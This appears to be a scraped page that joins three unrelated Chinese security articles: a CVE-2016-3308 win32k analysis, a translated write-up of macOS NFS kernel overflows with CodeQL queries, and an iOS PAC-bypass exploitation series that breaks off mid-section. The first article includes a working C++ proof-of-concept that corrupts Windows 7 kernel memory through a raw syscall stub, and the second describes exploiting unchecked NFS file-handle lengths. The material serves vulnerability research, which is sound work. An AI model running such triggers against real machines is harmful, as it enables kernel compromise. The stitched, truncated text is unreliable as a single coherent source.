我阅读了相关的源码, 结合我前几天代码审计写的那些失败了的`POC`, 思考着自己的`fuzzer`的大体框架应该长什么样子,
于是写出了自己的第一个丑陋的`fuzzer`.
但是听起来不错, 可是`win32k`的fuzzer比单纯的`IOCTL`的`fuzzer`似乎要更麻烦一些. 在`win32k`当中, 为了触发漏洞,
`A`和`B`是有关系的, `C`和`B`又有关系.
与其说是去写一个针对传送畸形数据的`fuzzer`,去写一个针对畸形的关系的`fuzzer`好像会更有效果一些.
思路到这里之后就断了, 怎么去生成一个畸形的关系的`fuzzer`.
以前看过[泉哥](https://github.com/riusksk)的[一篇文章](http://riusksk.me/2019/01/06/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6%E8%80%85%E7%9A%84%E8%87%AA%E6%88%91%E4%BF%AE%E5%85%BB/).
说是一个`fuzzer`最好能够触发一个老的漏洞. 印象深刻. 所以开始调试一些老的漏洞, 希望能够抽象出一个模型来.
这篇文章相应的样例代码我把它放到了我的[github](https://github.com/redogwu/cve-study-write/tree/master/cve-2016-0038)上面. 文章的所牵涉的条件为`windows 7 x86 sp1系统`.
## cve-2016-3308概览.
`cve-2016-3308`的漏洞代码存在于`win32k!xxxInsertMenuItem`函数当中.
该函数当中调用了两次`MNLookUPMenuItem` 函数, `MNLookUPMenuItem`函数用于获取菜单的某个子项的具体内容的指针.
在第二次调用该函数的时候. 该函数采用的是递归查找. 通过特殊的构造, 我们获取的指针其实指向的是子项的子项. 后面进行copy操作的时候,
误认为是子项的位置. 导致内存破坏.(这一部分的疑惑请暂时保存. 阅读完后面的内容之后再来看这个绕口的地方).
// [+] xxxInsertMenuItem
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn); // [+] 第二次调用MNLookUpItem
}
pMenu->cItems++; // [+] 这个地方加一
if (pItem != NULL) {
// Move this item up to make room for the one we want to insert.
memmove(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems)); // pItem进行填充, 然后把剩余的部分放进去
### cve-2016-3308 -- MNLookUPMenuItem函数
我们先来看`MNLookUPMenuItem`函数. 该函数的原型如下.
PITEM MNLookUpItem(
PMENU pMenu, // [+] 从哪个菜单开始找
UINT wCmd, // [+] ID(0) 或 index(1)
BOOL fByPosition, // [+] 如果是FALSE, 以index方式进行查找
PMENU *ppMenuItemIsOn) // [+] 返回在哪一个菜单找到的
此时你可以鼠标右键随机点出一个菜单. 你会发现有很多项. 菜单子项里面又嵌套菜单子项, 每一个子项在内存当中以`tagITEM`的形式存储相关的信息.
该函数就是为了返回该子项在内存当中的位置.
* pMenu: 该参数指向我们需要查找的菜单对象. 菜单对象在win32k当中以`tagMENU`的形式组织.
* wCmd: 根据后面的fByPosition来决定.
[+] 如果fByPosition为TRUE, 说明我们是通过排序顺序的形式查找. 比如我们上面的截图. 查看为第1项, 排序方式为第二项, 刷新为第三项.
此时的wCmd对应的就是第几项的意思.
[+] 如果fByPosition为FALSE. 说明我们是按标识符来查找. 我们知道. 进程有PID可以来标识不同的进程. 菜单子项也有类似的观点.
我们可以给不同的菜单子项不同的wID. 来区分不同的菜单子项.
* fByPosition: 见第二个参数
* ppMenuItemIsOn: 用于存储我们是在哪个菜单当中找到的. 该函数的算法是递归算法. 所以我们有可能是在子项当中进行查找.
接着, 让我们来看相应的算法:
if (fByPosition)
{
if (wCmd < (UINT)pMenu->cItems)
{
pItemRet = &((PITEM)REBASEALWAYS(pMenu, rgItems))[wCmd];
if (ppMenuItemIsOn != NULL)
*ppMenuItemIsOn = pMenu;
return (pItemRet);
} else
return NULL;
}
此时我们fByPosition的值为TRUE. 我们使用排序顺序的方式查找. tagMenu->rgItem成员变量指向菜单子项数组的第一项.
所以直接取下标即可获取. 类似于你要找a`[] = {1, 2, 3, 4, 5}`的第n项. 你只要`return a[n]`即可.
接着我们fByPosition为`FALSE`. 我们使用wID来进行查找.
for (i = 0, pItem = REBASEALWAYS(pMenu, rgItems); i < (int)pMenu->cItems;
i++, pItem++)
{
if (pItem->spSubMenu != NULL)
{
if (pItem->wID == wCmd) // [+] ID相等
{
pMenuMaybe = pMenu;
pItemMaybe = pItem;
}
pItemRet = MNLookUpItem((PMENU)REBASEPTR(pMenu, pItem->spSubMenu),
wCmd, FALSE, ppMenuItemIsOn); // [+] 如果子菜单当中找到了 那么就返回子菜单当中的
if (pItemRet != NULL)
return pItemRet;
}
else if (pItem->wID == wCmd) // [+] 没有子菜单 就根据ID来判断
{
if (ppMenuItemIsOn != NULL)
*ppMenuItemIsOn = pMenu;
return pItem;
}
}
该算法的思路是, 搜先判断当前菜单是否有子菜单. 如果有. 则进行递归查找. 否则直接判断当前子菜单是否符合要求.
### cve-2016-3308 -- xxxInsertMenuItem函数
先来看函数原型:
BOOL xxxInsertMenuItem函数( // [+] 这份代码存在一个漏洞
PMENU pMenu, // [+] pMenu 进行插入操作的Menu对象的指针
UINT wIndex, // [+] 选择在哪个位置进行插入操作
BOOL fByPosition, // [+] 是根据Index还是根据ID
LPMENUITEMINFOW lpmii, // [+] 需要插入的信息
PUNICODE_STRING pstrItem) // [+] 没有逆向.
该函数对应的是`Windows API`的[InsertMenuItemA ](https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-insertmenuitema)函数.
psrtItem参数我并没有进行逆向, 但是猜测到应该是每个菜单子项的文字内容. 该函数的主要目的可以参见微软的文档:
Inserts a new menu item at the specified position in a menu.
采用我二把刀的英文翻译就是为了向指定的菜单的某个具体位置插入一个新的菜单子项. 由于1, 2, 3参数和`MNLookUPMenuItem`函数类似,
在这里就不再做详细的解释. 让我们来看第四个参数.
* lpmii: 该参数是一个LPMENUITEMINFOW指针. 官方文档上面有关于此[结构体](MENUITEMINFO)的详细解释. 该信息包含你要新插入子项的具体信息(包括wID等). 最后在内存当中以`tagITEM`的形式存在.
接着我们来看相应的算法. 看算法之前让我们自己模拟一下如果是我们来实现该算法我们会这么实现. 我们把该任务抽象一下. 简化如下:
[+] 给定一个数组DWORD a[6] = {1, 2, 3, 4, 5, 6}. 我们需要在第3项插入一个9.
不考虑bug不考虑编译错误的情况下我们能快速写出一个算法:
DWORD * ptr = &a[3]; // [+] 找到第三项的位置
memcpy(ptr+1, ptr, (6-3) * sizeof(DWORD) ) // 此时挪出一个位置. 用于插入新的项. a变为这个样子. a[] = {1, 2, 3, 3, 4, 5, 6};
a[3] = 9; // [+] 执行赋值操作.
这个虽然是一个bug多多的算法. 但是确实是最简单的实现模型. 微软的实现也基本上是这种思路. 只是把a[]换成了菜单子项的数组. 以及加了很多的检查.
我们先来看第一步:
// 对应DWORD * ptr = &a[3]; // [+] 找到第三项的位置
if (wIndex != MFMWFP_NOITEM)
{
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn); // 查找wIndex对应的内容
[...]
}
首先第一次调用`MNLookUpItem`找到相应的位置.
接着我们再来看我们的第二步:
// 对应memcpy(ptr+1, ptr, (6-3) * sizeof(DWORD) ) // 此时挪出一个位置. 用于插入新的项. a变为这个样子. a[] = {1, 2, 3, 3, 4, 5, 6};
if (pItem != NULL) {
// Move this item up to make room for the one we want to insert.
memmove(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems)); // pItem进行填充, 然后把剩余的部分放进去
这个地方进行了挪菜单子项的操作.
接着调用`xxxSetLPITEMInfo`函数执行第三步操作.
xxxSetLPITEMInfo(pMenu, pItem, lpmii, pstrItem)
听起来不错. 问题出在哪里呢?
首先我们来看`tagMENU`结构体.
`cItems`一共是该菜单有多少个子项. `cAlloced`是分配了多少个菜单子项的内存. 举个例子. 某个菜单一共有3个菜单项.
我们给他分配了8个菜单项的内内存. 当进行第四个菜单项的操作的时候. 我们把他插入分配的内存当中即可了. 但是特殊的情况是. 如果此时已经有8个菜单项.
需要插入第九个的时候. `cAlloc`分配的内存就不够第九个了. 所以我们需要进行重新的分配(cAlloc的分配是n*8的形式.
这一部分我是不断改变分配的项数, 然后调试验证). 于是在第二步和第三步之间, 先增加了一个操作.
我们来看第2.5步:
if (pMenu->cItems >= pMenu->cAlloced) // [+] a. cItem是现在有的对象 b. cAlloced是总共能够填充的对象
{ // [+] 可以去创建一个简单的菜单 看下会分配几个对象
if (pMenu->rgItems) // [+] 如果pMenu->rgItems是存在的
{
pNewItems = (PITEM)DesktopAlloc(pMenu->head.rpdesk->hheapDesktop, // [+] 如果是不是第一次的话 就重新分配一个更大的
(pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM));
if (pNewItems)
{
RtlCopyMemory(pNewItems, pMenu->rgItems,
pMenu->cAlloced * sizeof(ITEM)); // [+] 则分配到那里去即可
DesktopFree(pMenu->head.rpdesk->hheapDesktop, pMenu->rgItems); // [+] 释放相应的堆
}
}
if (pNewItems == NULL)
return(FALSE);
pMenu->cAlloced += CMENUITEMALLOC; // [+] 这个地方扩大
pMenu->rgItems = pNewItems; // [+] 重新定义
当`cItems >= cAlloc`的时候. 会重新分配内存. 释放原有的旧的内存. 并且让`tagMneu->rgItem`指向新的内存块.
我们原来第一步找到的是指向旧的内存的. 所以我们需要重新找过.
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn); // [+] 第二次调用MNLookUpMenu.
接着再进行赋值操作. 我们重新来看赋值操作. 赋值操作的实现里面有一个有意思的点. 注意看第三个参数. 他是通过地址来计算的需要挪的位置.
memmove(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems)); // pItem进行填充, 然后把剩余的部分放进去
这里问题就出现了. 我们说过. `MNLookUpItem`函数进行的是递归查找. 如果我们返回的`pItem`是子项的子项的内容.
此时pMenu->rgItems指向的值子项的内存块. 这个地方的计算就会找出严重的失误. 举个例子:
我们有一个菜单的分布如下:
Menu:
MenuChild-1
MenuChild-1-0
MenuChild-1-1
MunuChild-1-2
MunuChild-2
MenuChild-3
MenuChild- _这个数组假设存放于0x1000处. MenuChild-1-_ 存放于存放于0x4000处. 这两个数组通过地址来计算显然是错误的.
第一个问题是:
* 第一次MNLookUpItem的时候为什么没有出错
我们可以看到源码:
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn); // [+] 我们可以传入wIndex == -1. 然后通过后面的操作使其变为非 -1 ??? 是这个意思么?
if (pItem != NULL)
pMenu = pMenuItemIsOn; // [+] 这个地方才是最重要的... 如果没有替换的话 那么很容易出错
如果找到了的话. 会进行替换. 而我们查看第二次的源码. 是没有替换的操作的.
第二个问题是. 我们如何取触发第二次MNLookUpItem函数. 我逆向了相应的源码. 得出的条件如下.
### 触发条件
第一个条件: wIndex为子菜单第一项的wID. 这样的话后续有一个操作. fByPosition为TRUE.
wSave = w = wIndex;
if (pItem && !fByPosition)
w = ((PBYTE)pItem - (PBYTE)(pMenu->rgItems)) / sizeof(ITEM); // [+] 一共有多少项
此时由于我们找到的第一项. 所以算出wID为0. 接着进入下面的代码流:
if (!w) // [+] 这个地方判断是否为第一项
{
pItemWalk = pMenu->rgItems; // [+] 直接获取第一项的值
if ((pItemWalk->hbmp == (HBITMAP)MENUHBM_SYSTEM))
wIndex = 1; // [+] 设置为1
这个地方我们通过设置pItemWalks的hbmp为MENUHBM_SYSTEM(IDA里面显示为常数1). wIndex会变为1.
接着我们给子菜单安排8个菜单项. 进行插入第九项的时候会进入到我们先前说的重新分配的逻辑.
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn); // [+] 需要使用我们的程序流使其执行到这里
由于此时wIndex = 1. 我们只要安排子菜单的子菜单当中的某一项的wID为1即可.
## poc
POC可以在[这里](https://github.com/redogwu/cve-study-write/tree/master/cve-2016-0038)找到. 你可能需要运行多次才能触发. 因为可能损坏的可能不是重要的内存.
利用的话控制堆喷即可.
/*
* [+] cve-2016-3308:
* [+] It just a poc.
* [+] Test version: windows 7 x86
* [+] It should work, BUt you need to to execute it more once(maybe)
* [+] By wjllz
*/
#include <iostream>
#include <Windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
HMENU hMenu = NULL;
_declspec(naked) BOOL NtUserThunkedMenuItemInfo(
IN HMENU hMenu,
IN UINT nPosition,
IN BOOL fByPosition,
IN BOOL fInsert,
IN LPMENUITEMINFOW lpmii OPTIONAL,
IN PUNICODE_STRING pstrItem OPTIONAL,
IN BOOL fAnsi)
{
__asm
{
mov eax, 1256h
mov edx, 7ffe0300h
call dword ptr[edx]
ret 18h
}
}
int main()
{
HMENU hMenu = CreateMenu();
HMENU hmenuPopup = CreateMenu();
MENUITEMINFO mii = {};
for (int i = 0; i < 0xF; i++)
{
mii.cbSize = sizeof(MENUITEMINFO);
mii.fMask = MIIM_ID | MIIM_DATA | MIIM_SUBMENU | MIIM_BITMAP;
mii.wID = (i == 6 ? 1 : 0x100 + i) ;
mii.hSubMenu =(i == 0xE ? hmenuPopup : NULL);
mii.hbmpItem = (i==7 ? (HBITMAP)1:NULL);
InsertMenuItem(i < 7 ? hmenuPopup : hMenu, i < 7 ? i : i - 7, TRUE, &mii);
}
try
{
// [+] trigger
NtUserThunkedMenuItemInfo(hMenu, 0x107, FALSE, TRUE, (LPMENUITEMINFOW)&mii, NULL, 0);
}
catch (const char* msg)
{
std::cerr << msg << std::endl;
}
return 0;
}
## 最后的总结
这是一个老的洞. 相应的分析已经有前人做过了. 但是前段时间受到泉哥文章的影响比较大. 所以尝试着阅读源码自己去挖掘这个漏洞. 最后死在了wId ==
1的那步. 另外一个使我觉得有趣的点是. 我文章的分析是采用的Nt的老源码. 但是这个洞是16年才发现的. 也就是说起码藏了`16`年.
为什么能藏这么久呢. 以及, 为什么我在审计的时候, 最后会卡在这一部分. 漏洞发现者能够审计出来呢. 最后一个问题.
我怎么能够通过自己的`fuzzer`去触发这个漏洞呢？
这些是一些我目前比较在意的问题. 也希望在以后能找到答案.
## 相关链接
* [55-AA-CVE-2016-3308](https://github.com/55-AA/CVE-2016-3308)
* [An Analysis of MS16-098 / ZDI-16-453
AUGUST 25, 2016 BY STEINER](https://warroom.securestate.com/an-analysis-of-ms16-098/)
* [case study write](https://github.com/redogwu/cve-study-write/tree/master/cve-2016-0038)
* [From CVE-2017-0263 to the Menu Management Component](https://xiaodaozhi.com/exploit/117.html)
Big thanks to [leeqwind](https://xiaodaozhi.com/), [泉哥](http://riusksk.me/),
[n3k](https://twitter.com/kiqueNissim).
最后, wjllz是人间大笨蛋. | 社区文章 |
原文：<https://lgtm.com/blog/apple_xnu_nfs_vfsops_CVE-2018-4259>
这篇文章讲述了我在Apple的macOS操作系统内核中发现的几个堆栈和堆缓冲区溢出。Apple将这些漏洞归类为内核中的远程代码执行漏洞，因此它们非常严重。攻击者可能会利用它们远程入侵Mac。或者，通过物理访问计算机，攻击者可以作为访客用户登录（无需密码），然后使用这些漏洞提升其权限并控制计算机。
这些漏洞存在于客户端NFS实现中，用于将网络驱动器（如NAS）安装到Mac的文件系统中。
**严重程度和缓解**
NFS被广泛使用，特别是在大型企业中，它用于共享驱动器和联网的主目录。但它也用于家庭NAS设备，通常用作媒体服务器。在macOS中，安装NFS共享不需要特殊权限，因此任何用户都可以触发漏洞，甚至是访客帐户（不需要密码）。此外，许多计算机（尤其是企业环境中的计算机）配置为在启动时自动挂载NFS共享。这意味着这些漏洞至少有两个攻击媒介：
1. 这些漏洞可能被用于在使用NFS文件管理器的公司中快速传播病毒。要做到这一点，攻击者需要在文件管理器上安装恶意版本的NFS服务器软件，或者找到一种方法将恶意文件管理器放在网络上并开始拦截某些NFS流量。
2. 这些漏洞可用于获取升级的权限。例如，有人可能以guest用户身份登录，然后发出单行命令连接到恶意NFS服务器（可能是Internet上的任何位置），并在计算机上获得内核级访问权限。
Apple分配了五个CVE，因为代码包含多个类似的错误：CVE-2018-4259，CVE-2018-4286，CVE-2018-4287，CVE-2018-4288和CVE-2018-4291。在我于2018年5月21日发送给Apple的漏洞报告中，我在源代码中列出了14个不同的位置，我认为这些位置是错误的。我只为其中两个发送了工作漏洞，所以我不完全确定这五个CVE对应的代码行。实际上，Apple最近才发布了macOS版本10.13.6的源代码，所以我还没有完成所有源代码更改的审核。（macOS版本10.13.4,10.13.3和10.13.6的源代码于2018年10月3日发布。）因此，为避免意外泄露任何可能未修复的错误，在本文中我只会谈关于我发送Apple工作概念验证漏洞的两个漏洞。
**概念验证漏洞利用**
我编写了一个概念验证漏洞，它用0覆盖4096字节的堆内存并导致内核崩溃。我做了一个简短的视频来证明这一点。4096是一个随意的选择 -我本可以改变利用率来发送尽可能多的数据。任何大于128字节的数字都会触发堆缓冲区溢出。我也完全控制了写入的字节值。因此，尽管我的PoC只破坏了内核，但可以合理地假设可以使用这些缓冲区溢出来实现远程代码执行和本地权限提升。
当我第一次发现漏洞时，我必须编写自己的NFS服务器来创建PoC的想法似乎相当令人生畏。但在我学习了一些关于NFS协议以及如何使用rpcgen之后，结果却非常简单。我的漏洞利用PoC只包含46行C语言和63行RPC语言。我不会立即发布漏洞利用PoC，因为我想让Apple用户有机会首先升级他们的设备。但是，在不久的将来，我将在SecurityExploits存储库中发布漏洞利用PoC的源代码。
**漏洞**
我编写PoC的两个漏洞是在这个看似无害的代码行中（nfs_vfsops.c：4151）：
nfsm_chain_get_fh(error, &nmrep, nfsvers, fh);
这行代码的目的是fh从nmrepNFS服务器发送回Mac
的回复消息（）中读取文件句柄（）。文件句柄是NFS共享上的文件或目录的不透明标识符。NFSv3中的文件句柄最多为64个字节，NFSv4中的文件句柄最多为128个字节（搜索FHSIZE）。fhandle_tXNU中的类型有足够的空间容纳128字节的文件句柄，但是他们忘记检查nfsm_chain_get_fh宏中的缓冲区溢出：
/* get the size of and data for a file handle in an mbuf chain */
#define nfsm_chain_get_fh(E, NMC, VERS, FHP) \
do { \
if ((VERS) != NFS_VER2) \
nfsm_chain_get_32((E), (NMC), (FHP)->fh_len); \
else \
(FHP)->fh_len = NFSX_V2FH;\
nfsm_chain_get_opaque((E), (NMC), (uint32_t)(FHP)->fh_len, (FHP)->fh_data);\
if (E) \
(FHP)->fh_len = 0;\
} while (0)
由于宏的大量使用，这段代码很难遵循，但它的作用实际上非常简单：它从消息中读取一个32位无符号整数(FHP)->fh_len，然后直接从消息中读取该字节数(FHP)->fh_data。没有边界检查，因此攻击者可以使用他们选择的任何字节序列覆盖任意数量的内核堆。被覆盖的文件句柄的内存在nfs_socket.c：1401中分配。
我写的PoC for的第二个错误是nfsm_chain_get_opaque宏中的整数溢出：
/* copy the next consecutive bytes of opaque data from an mbuf chain */
#define nfsm_chain_get_opaque(E, NMC, LEN, PTR) \
do { \
uint32_t rndlen; \
if (E) break; \
rndlen = nfsm_rndup(LEN); \
if ((NMC)->nmc_left >= rndlen) { \
u_char *__tmpptr = (u_char*)(NMC)->nmc_ptr; \
(NMC)->nmc_left -= rndlen; \
(NMC)->nmc_ptr += rndlen; \
bcopy(__tmpptr, (PTR), (LEN)); \
} else { \
(E) = nfsm_chain_get_opaque_f((NMC), (LEN), (u_char*)(PTR)); \
} \
} while (0)
此代码使用nfsm_rndup宏圆LEN高达4的倍数，但它使用的原始值LEN的调用bcopy。如果值LEN是0xFFFFFFFF然后加入在nfsm_rndup将溢出和的值rndlen将是0。这意味着与比较(NMC)->nmc_left会成功，bcopy将与被调用0xFFFFFFFF作为大小参数。这当然会导致内核崩溃，因此它只能用作拒绝服务攻击。
**使用QL查找错误**
QL的一大优势是能够找到已知错误的变种。今年早些时候，我的同事Jonas Jensen
在Apple的NFS无盘启动实现中发现了两个漏洞，CVE-2018-4136和CVE-2018-4160。我发布了一篇关于这些漏洞和发现它们的查询的博客文章。该查询旨在查找bcopy可能具有用户控制的大小参数的调用，该参数可能为负。一个简单的变体是查找bcopy用户控制源缓冲区的调用。这样的调用可能很有趣，因为它们将用户控制的数据复制到内核空间中。
/**
* @name bcopy of network data
* @description Copying a variable-sized network buffer into kernel memory
* @kind path-problem
* @problem.severity warning
* @id apple-xnu/cpp/bcopy-negative-size
*/
import cpp
import semmle.code.cpp.dataflow.DataFlow
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
import DataFlow::PathGraph
class MyCfg extends DataFlow::Configuration {
MyCfg() {
this = "MyCfg"
}
override predicate isSink(DataFlow::Node sink) {
exists (FunctionCall call
| sink.asExpr() = call.getArgument(1) and
call.getTarget().getName() = "__builtin___memmove_chk" and
not call.getArgument(2).isConstant())
}
override predicate isSource(DataFlow::Node source) {
source.asExpr().(FunctionCall).getTarget().getName() = "mbuf_data"
}
}
from DataFlow::PathNode sink, DataFlow::PathNode source, MyCfg dataFlow
where dataFlow.hasFlowPath(source, sink)
select sink, source, sink, "bcopy of network data"
上面的查询相当简单，因为它查找对bcopy从mbuf内核空间复制数据的任何调用。只要正确检查size参数的边界，这样的调用就没有错。然而事实证明，很大一部分结果是nfsm_chain_get_fh宏的使用，它不进行任何边界检查。因此，尽管此查询很简单，但它发现了许多重要的安全漏洞。在其当前形式中，即使修复了错误，查询仍将继续报告相同的结果。最好改进查询，以便在有适当的边界检查时不会报告结果。
实现边界检查的常用方法是这样的：
if (n < limit) {
bcopy(src, dst, n);
}
我写了这个谓词来检测上面的模式：
/**
* Holds if `guard` is a bounds check which ensures that `size` is less than
* `limit`. For example:
*
* if (size < limit) {
* ... size ...
* }
*/
predicate guardedSize(GuardCondition guard, Expr size, Expr limit,
RelationStrictness strict) {
exists (boolean branch, Expr sz, BasicBlock block
| guard.controls(block, branch) and
block.contains(size) and
globalValueNumber(size) = globalValueNumber(sz) and
relOpWithSwapAndNegate(guard, sz, limit, Lesser(), strict, branch))
}
它使用Guards库来查找在受控制的控制流位置中使用的大小表达式guard。然后它使用globalValueNumber库来检查条件本身是否出现相同大小的表达式。该GlobalValueNumbering库使谓词能够检测非平凡大小表达式的相等性，如下所示：
if (packet.data.size < limit) {
... packet.data.size ...
}
最后，它使用一个名为的实用程序relOpWithSwapAndNegate来检查size表达式是否小于限制。它使谓词也能处理这样的场景：
if (packet.data.size >= limit) {
return -1;
} else {
... packet.data.size ...
}
有时实现边界检查的另一种方式是通过调用min，如此谓词所检测到的：
/**
* Holds if `size` is bounds checked with a call to `min`:
*
* size = min(n, limit);
*
* ... size ...
*/
predicate minSize(Expr size) {
exists (DataFlow::Node source, DataFlow::Node sink
| DataFlow::localFlow(source, sink) and
source.asExpr().(FunctionCall).getTarget().getName() = "min" and
size = sink.asExpr())
}
我将这两个谓词组合如下：
/**
* Holds if `size` has been bounds checked.
*/
predicate checkedSize(Expr size) {
lowerBound(size) >= 0 and
(guardedSize(_, size, _, _) or minSize(size))
}
请注意，我还习惯lowerBound确保不存在负整数溢出的可能性。唯一剩下要做的就是checkedSize在isSink方法中使用，以减少误报的数量。这是完成的查询：
/**
* @name bcopy of network data
* @description Copying a variable-sized network buffer into kernel memory
* @kind path-problem
* @problem.severity warning
* @id apple-xnu/cpp/bcopy-negative-size
*/
import cpp
import semmle.code.cpp.valuenumbering.GlobalValueNumbering
import semmle.code.cpp.controlflow.Guards
import semmle.code.cpp.dataflow.DataFlow
import semmle.code.cpp.dataflow.TaintTracking
import semmle.code.cpp.rangeanalysis.RangeAnalysisUtils
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
import DataFlow::PathGraph
/**
* Holds if `guard` is a bounds check which ensures that `size` is less than
* `limit`. For example:
*
* if (size < limit) {
* ... size ...
* }
*/
predicate guardedSize(GuardCondition guard, Expr size, Expr limit,
RelationStrictness strict) {
exists (boolean branch, Expr sz, BasicBlock block
| guard.controls(block, branch) and
block.contains(size) and
globalValueNumber(size) = globalValueNumber(sz) and
relOpWithSwapAndNegate(guard, sz, limit, Lesser(), strict, branch))
}
/**
* Holds if `size` is bounds checked with a call to `min`:
*
* size = min(n, limit);
*
* ... size ...
*/
predicate minSize(Expr size) {
exists (DataFlow::Node source, DataFlow::Node sink
| DataFlow::localFlow(source, sink) and
source.asExpr().(FunctionCall).getTarget().getName() = "min" and
size = sink.asExpr())
}
/**
* Holds if `size` has been bounds checked.
*/
predicate checkedSize(Expr size) {
lowerBound(size) >= 0 and
(guardedSize(_, size, _, _) or minSize(size))
}
class MyCfg extends DataFlow::Configuration {
MyCfg() {
this = "MyCfg"
}
override predicate isSink(DataFlow::Node sink) {
exists (FunctionCall call
| sink.asExpr() = call.getArgument(1) and
call.getTarget().getName() = "__builtin___memmove_chk" and
not checkedSize(call.getArgument(2)))
}
override predicate isSource(DataFlow::Node source) {
source.asExpr().(FunctionCall).getTarget().getName() = "mbuf_data"
}
}
from DataFlow::PathNode sink, DataFlow::PathNode source, MyCfg dataFlow
where dataFlow.hasFlowPath(source, sink)
select sink, source, sink, "bcopy of network data"
**在XNU上尝试QL**
与大多数其他开源项目不同，XNU无法在LGTM上查询。这是因为LGTM使用Linux工作程序来构建项目，但XNU只能在Mac上构建。即使在Mac上，XNU也非常容易构建。如果我没有找到杰里米·安德鲁斯这篇非常有用的博客文章，我就无法做到。使用Jeremy
Andrus的说明和脚本，我为三个最新发布的XNU版本手动构建了快照。：您可以从这些链接下载快照10.13.4，10.13.5，10.13.6。不幸的是，Apple尚未发布10.14（Mojave
/ iOS 12）的源代码，因此我无法创建QL快照来运行针对它的查询。要在这些QL快照上运行查询，您需要下载QL for
Eclipse。可以在此处找到有关如何使用QL for Eclipse的说明。 | 社区文章 |
**作者：0xcc
原文链接：<https://mp.weixin.qq.com/s/HdsgTK4mNremDeV8TnO7iw>**
## 前情提要
[CVE-2021-1748：从客户端 XSS 到弹计算器](https://paper.seebug.org/1659/)
[CVE-2021-1864：访问控制的蝴蝶效应](https://paper.seebug.org/1661/)
在前文中介绍了天府杯 2020 上远程攻破 iPhone 11 的一套漏洞。首先由一个客户端的 XSS
绕过浏览器沙箱并打开额外的攻击面，接下来一个访问控制的逻辑漏洞来让 js 直接可以调用对象的 dealloc 方法，造成 Use-After-Free。
这是本系列的最终篇，介绍如何在最高 iOS 14.3 和 A14 芯片上利用以上漏洞，完全绕过用户态 PAC 和 APRR 执行任意 shellcode。
* * *
## SeLector-Oriented Programming
在前文中已经[构造了 fakeobj
原语](http://mp.weixin.qq.com/s?__biz=Mzk0NDE3MTkzNQ==&mid=2247483981&idx=1&sn=b0b8abbd404bea339b10416f02b38125&chksm=c329fcbdf45e75ab7e2001a704fbc64f4e3d8fa53583c746c55ff81742edfb7d78e277786a6f&scene=21#wechat_redirect)，让
objc_msgSend 将一块完全可控的内存当作 Objective-C 对象处理。
在 A12 以前，可以通过构造一些 runtime 的结构体（注：近期版本的 iOS 针对伪造 isa 做了加固）来控制 pc 寄存器，然后通过
return-oriented programming 执行任意代码。PAC 引入后，通过 objc_msgSend 控制 pc 寄存器就不可行，更不要说
ROP。
但是在 iOS 14.4 和之前的系统上有一个已知的弱点。
Objective-C 的对象结构中第一个指针为 isa，之后才是对象的私有属性等成员。由于 Objective-C runtime 本身用到了 isa
指针的高位存储信息，这就和 PAC 的实现有了冲突——PAC 使用密码学算法给指针添加的校验签名也保存到高位上。
所以在 iOS 14 之前，isa 指针没有签名保护。PAC 确保不能伪造 selector 对应的 IMP 函数指针，但可以通过指向已有的
objc_class 结构来调用合法的 selector 方法。结合特殊的 gadget，Project Zero 在 iMessage 的 0click
攻击演示中使用一种被称之为 SeLector-Oriented Programming 的技术来绕过 PAC，执行一连串 NSInvocation 调用任意
Objective-C 方法。
经过对 ABI 的调整（例如减少引用计数存储用的长度），在 iOS 14 beta 上，运行时已经开始对 isa
指针做签名。不过当时加上签名之后并没有开始校验，而是直接用 xpacd 指令移除签名位。
直到 2021 年发布的 iOS 14.5，终于上线了强制校验 isa 的 PAC 的运行时。关于这个改动，请参考之前发布的文章 [iOS 14.5 如何用
PAC 保护 Objective-C
对象](http://mp.weixin.qq.com/s?__biz=Mzk0NDE3MTkzNQ==&mid=2247483893&idx=1&sn=e2d16817ddbe155e8405c4a35cb3ca56&chksm=c329ff05f45e7613db4598a240294edc7525783f0d2d41f81d99a7cf0a16226d5075b6bfcaf0&scene=21#wechat_redirect)。
不过侥幸的是，在天府杯对应的 iOS 14.2，SLOP 还可以用。大胆猜测，新防御的迅速转正应该也是比赛被打起了一定的催化作用。
SLOP 的核心思路如下：
1. 找到一个符合条件的类。这个类需要在 dealloc 方法中解引用 self 指针，将固定偏移上的成员当作 _UIAsyncInvocation，调用其 invoke 方法
2. 这里隐藏了一个类型混淆，就是把 _UIAsyncInvocation 当作 NSInvocation。由于 Objective-C 是根据具体的 isa 指针和 selector 来确定具体调用的方法，这种 NSObject 之前的类型混淆只要存在对应的 selector，就不会产生异常，而是会顺利调用查找到的方法
3. 于是对象被当作 NSInvocation 处理，调用其 invoke 方法
4. NSInvocation 具有调用任意运行时方法的能力，这一步作为自举 gadget，来调用一系列 NSInvocation
5. 一串的 NSInvocation 保存在 NSArray（数组）对象中。而 NSArray 正好有一个 makeOobjectsPerformSelector: 方法
6. 给 makeObjectsPerformSelector: 传入 @selector(invoke) 作为参数，就会按顺序遍历数组内所有的 NSInvocation 并执行
在这次的目标 iTunes Store 里正好有一个 SKStoreReviewViewController 满足要求。但在正式开启 SLOP
执行代码之前，我们还需要准备很多工作。
* * *
## 内存任意读
虽然在 iOS 14.2 上 PAC 还没有加到 isa 指针，但在 Project Zero 的 iMessage
利用演示之后加入了一个新的防御措施。Apple 意识到 NSInvocation 过于强大，需要针对内存伪造对象的检查。
